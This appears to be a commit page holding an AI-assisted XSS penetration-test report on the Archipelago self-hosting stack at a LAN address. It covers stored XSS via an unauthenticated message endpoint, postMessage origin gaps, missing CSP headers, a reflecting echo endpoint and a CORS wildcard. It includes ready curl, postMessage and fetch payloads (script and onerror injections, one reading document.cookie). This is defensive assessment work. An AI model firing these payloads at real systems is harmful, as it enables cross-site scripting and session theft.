Dorian 6623dbc4ab chore: add security pentest reports and remediation plan
Overnight pentest run produced recon, analysis, exploitation reports,
and a full security assessment. Plan.md updated with 22 prioritized
fix items for auth, SSRF, injection, XSS, and hardening.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 03:08:14 +00:00

11 KiB

I now have all the data needed. Let me compile the comprehensive XSS analysis.


XSS Vulnerability Analysis — Archipelago (192.168.1.228)

Methodology

Source code review of the full stack: Rust backend (core/), Vue 3 frontend (neode-ui/src/), Nginx configs (image-recipe/configs/), and static HTML files. Searched for all XSS sinks (v-html, innerHTML, document.write, eval), DOM-based sources (location, postMessage), stored content rendering, and missing security headers.


XSS-001 — Stored XSS via Unauthenticated P2P Node Messages

Type: Stored XSS
Confidence: Medium
Location: POST /archipelago/node-message → rendered in Web5.vue and App.vue toast

Source files:

  • Backend intake: core/archipelago/src/api/handler.rs:125-145 — no auth, no sanitization
  • Backend storage: core/archipelago/src/node_message.rs:26-37 — raw string stored as-is
  • Frontend display (messages): neode-ui/src/views/Web5.vue:405{{ m.message }}
  • Frontend display (toast): neode-ui/src/App.vue:52{{ toastMessage.text }}
  • Toast data source: neode-ui/src/composables/useMessageToast.ts:39latest?.message

Evidence: The /archipelago/node-message endpoint accepts arbitrary JSON with from_pubkey and message fields — no authentication, no input validation, no HTML sanitization. Messages are stored in memory and returned verbatim via the node-messages-received RPC method. The frontend renders messages using Vue's {{ }} text interpolation, which does escape HTML by default. However:

  1. The toast at App.vue:52 renders the raw message text as a notification preview — if Vue's escaping were ever bypassed (e.g., a future refactor introduces v-html), this becomes immediately exploitable
  2. The :title attribute binding at Web5.vue:402 (<p ... :title="m.from_pubkey">) accepts the unsanitized pubkey — attribute injection is possible with crafted pubkey values
  3. Combined with CORS wildcard (Access-Control-Allow-Origin: * on all endpoints), any website can inject messages via a drive-by attack

Why medium, not high: Vue's {{ }} escaping prevents current exploitation. But the complete absence of server-side sanitization means any rendering change (or alternative client) would be immediately vulnerable.

Suggested exploit:

curl -X POST http://192.168.1.228/archipelago/node-message \
  -H 'Content-Type: application/json' \
  -d '{"from_pubkey":"\" onfocus=alert(1) autofocus=\"","message":"<img src=x onerror=alert(document.cookie)>"}'

XSS-002 — postMessage Origin Bypass in AppLauncherOverlay

Type: DOM-based XSS (postMessage sink)
Confidence: Medium
Location: neode-ui/src/components/AppLauncherOverlay.vue:125,147-150

Source file: neode-ui/src/components/AppLauncherOverlay.vue

Evidence:

  • Line 125: window.parent.postMessage({ type: 'app-launcher-escape' }, '*') — sends to ANY origin
  • Lines 147-150: Receives messages with no origin validation:
    function onMessage(e: MessageEvent) {
      if (e.data?.type === 'app-launcher-escape' && store.isOpen) {
        store.close()
      }
    }
    
  • Any page embedding the Archipelago UI (or any malicious iframe loaded into the app launcher) can trigger the close action. The impact is UI manipulation only (closing the app launcher), but this pattern demonstrates missing origin checks that could be exploited if more actions are added.

Suggested exploit: From a malicious page iframed into the app launcher:

window.parent.postMessage({ type: 'app-launcher-escape' }, '*')

XSS-003 — postMessage Origin Bypass in Claude Auth Handler

Type: DOM-based XSS (postMessage sink)
Confidence: Medium
Location: neode-ui/src/views/Settings.vue:442-448

Source file: neode-ui/src/views/Settings.vue

Evidence:

function handleClaudeLoginMessage(e: MessageEvent) {
  if (e.data?.type === 'claude-auth-success') {
    claudeConnected.value = true
    showClaudeLoginModal.value = false
    window.removeEventListener('message', handleClaudeLoginMessage)
  }
}

No e.origin validation. Any iframe or window (including apps loaded in the app launcher) can send { type: 'claude-auth-success' } to spoof the Claude connection state. This is UI spoofing — the user sees "Claude Connected" when it's not authenticated.

Suggested exploit:

// From any page loaded in the same browsing context
window.postMessage({ type: 'claude-auth-success' }, '*')

XSS-004 — Absent Content-Security-Policy + CSP/X-Frame-Options Stripping

Type: Missing security headers (XSS enabler)
Confidence: High
Location: image-recipe/configs/nginx-archipelago.conf (entire server block)

Source file: image-recipe/configs/nginx-archipelago.conf:89-333

Evidence:

  1. No CSP header set on any response — no defense-in-depth against XSS
  2. No X-Frame-Options — clickjacking possible on main UI
  3. No X-Content-Type-Options — MIME sniffing attacks possible
  4. 25+ app proxy locations explicitly strip CSP and X-Frame-Options:
    proxy_hide_header X-Frame-Options;
    proxy_hide_header Content-Security-Policy;
    
    This removes the security headers that apps like Vaultwarden, Portainer, and Grafana set to protect themselves, making them vulnerable to clickjacking when proxied.

Without CSP, if any XSS vector is found (including in proxied apps), there are zero mitigations — inline scripts, eval, and external script loading all work.


XSS-005 — Echo Endpoint Reflects Arbitrary Input

Type: Reflected (JSON context)
Confidence: Low
Location: POST /rpc/v1 method echo / server.echo

Source file: core/archipelago/src/api/rpc/mod.rs:171-178

Evidence:

async fn handle_echo(&self, params: Option<serde_json::Value>) -> Result<serde_json::Value> {
    if let Some(p) = params {
        if let Some(msg) = p.get("message").and_then(|v| v.as_str()) {
            return Ok(serde_json::json!({ "message": msg }));
        }
    }
    Ok(serde_json::json!({ "message": "Hello from Archipelago!" }))
}

The message parameter is reflected verbatim in the JSON response. The response has Content-Type: application/json, so browsers won't render it as HTML. However, combined with CORS wildcard, any website can read the reflected value. If this response is ever consumed unsafely by the frontend or a third-party client, XSS is possible.

Suggested exploit:

curl -X POST http://192.168.1.228/rpc/v1 \
  -H 'Content-Type: application/json' \
  -d '{"jsonrpc":"2.0","id":1,"method":"echo","params":{"message":"<script>alert(1)</script>"}}'

XSS-006 — test-aiui.html postMessage Without Origin Validation + innerHTML

Type: DOM-based XSS
Confidence: Low
Location: neode-ui/public/test-aiui.html:46,50-69

Source file: neode-ui/public/test-aiui.html

Evidence:

  • Line 46: results.innerHTML = '' — uses innerHTML (safe with empty string, but establishes unsafe pattern)
  • Line 50-69: Listens to all postMessage events with no origin check
  • Line 107: div.textContent = ...JSON.stringify(resp.data)... — uses textContent (safe), but the callback at line 56 passes the full message object to arbitrary callbacks
  • This is a test file deployed to production at /test-aiui.html

XSS-007 — CORS Wildcard Enables Cross-Origin XSS Delivery

Type: XSS enabler (not XSS itself)
Confidence: High
Location: All backend endpoints

Source file: core/archipelago/src/api/handler.rs:15const CORS_ANY: &str = "*";

Evidence: Every backend response includes Access-Control-Allow-Origin: *. This means any website can:

  1. Inject stored messages via POST /archipelago/node-message (XSS-001)
  2. Read reflected data from echo endpoint (XSS-005)
  3. Invoke any RPC method and read responses
  4. Deliver XSS payloads remotely without requiring the attacker to be on the local network

This transforms what would be LAN-only vulnerabilities into remotely exploitable ones via drive-by attacks.


{
  "category": "xss",
  "findings": [
    {
      "id": "XSS-001",
      "type": "stored_xss",
      "endpoint": "/archipelago/node-message",
      "parameter": "message, from_pubkey",
      "confidence": "medium",
      "payload_suggestion": "curl -X POST http://192.168.1.228/archipelago/node-message -H 'Content-Type: application/json' -d '{\"from_pubkey\":\"\\\" onfocus=alert(1) autofocus=\\\"\",\"message\":\"<img src=x onerror=alert(document.cookie)>\"}'"
    },
    {
      "id": "XSS-002",
      "type": "dom_xss_postmessage",
      "endpoint": "AppLauncherOverlay.vue (client-side)",
      "parameter": "postMessage event.data.type",
      "confidence": "medium",
      "payload_suggestion": "window.parent.postMessage({ type: 'app-launcher-escape' }, '*')"
    },
    {
      "id": "XSS-003",
      "type": "dom_xss_postmessage",
      "endpoint": "Settings.vue (client-side)",
      "parameter": "postMessage event.data.type",
      "confidence": "medium",
      "payload_suggestion": "window.postMessage({ type: 'claude-auth-success' }, '*')"
    },
    {
      "id": "XSS-004",
      "type": "missing_csp_headers",
      "endpoint": "All responses (nginx)",
      "parameter": "Content-Security-Policy, X-Frame-Options",
      "confidence": "high",
      "payload_suggestion": "No CSP set — any successful XSS injection has zero mitigation. Verify with: curl -sI http://192.168.1.228/ | grep -i security"
    },
    {
      "id": "XSS-005",
      "type": "reflected_xss_json",
      "endpoint": "/rpc/v1 (method: echo)",
      "parameter": "params.message",
      "confidence": "low",
      "payload_suggestion": "curl -X POST http://192.168.1.228/rpc/v1 -H 'Content-Type: application/json' -d '{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"echo\",\"params\":{\"message\":\"<script>alert(1)</script>\"}}'"
    },
    {
      "id": "XSS-006",
      "type": "dom_xss_postmessage",
      "endpoint": "/test-aiui.html",
      "parameter": "postMessage event.data",
      "confidence": "low",
      "payload_suggestion": "window.postMessage({ type: 'context:response', id: 'test-1', data: '<img src=x onerror=alert(1)>' }, '*')"
    },
    {
      "id": "XSS-007",
      "type": "cors_wildcard_xss_enabler",
      "endpoint": "All backend endpoints",
      "parameter": "Access-Control-Allow-Origin: *",
      "confidence": "high",
      "payload_suggestion": "From any website: fetch('http://192.168.1.228/archipelago/node-message', {method:'POST', headers:{'Content-Type':'application/json'}, body:JSON.stringify({from_pubkey:'attacker', message:'<script>alert(1)</script>'})})"
    }
  ]
}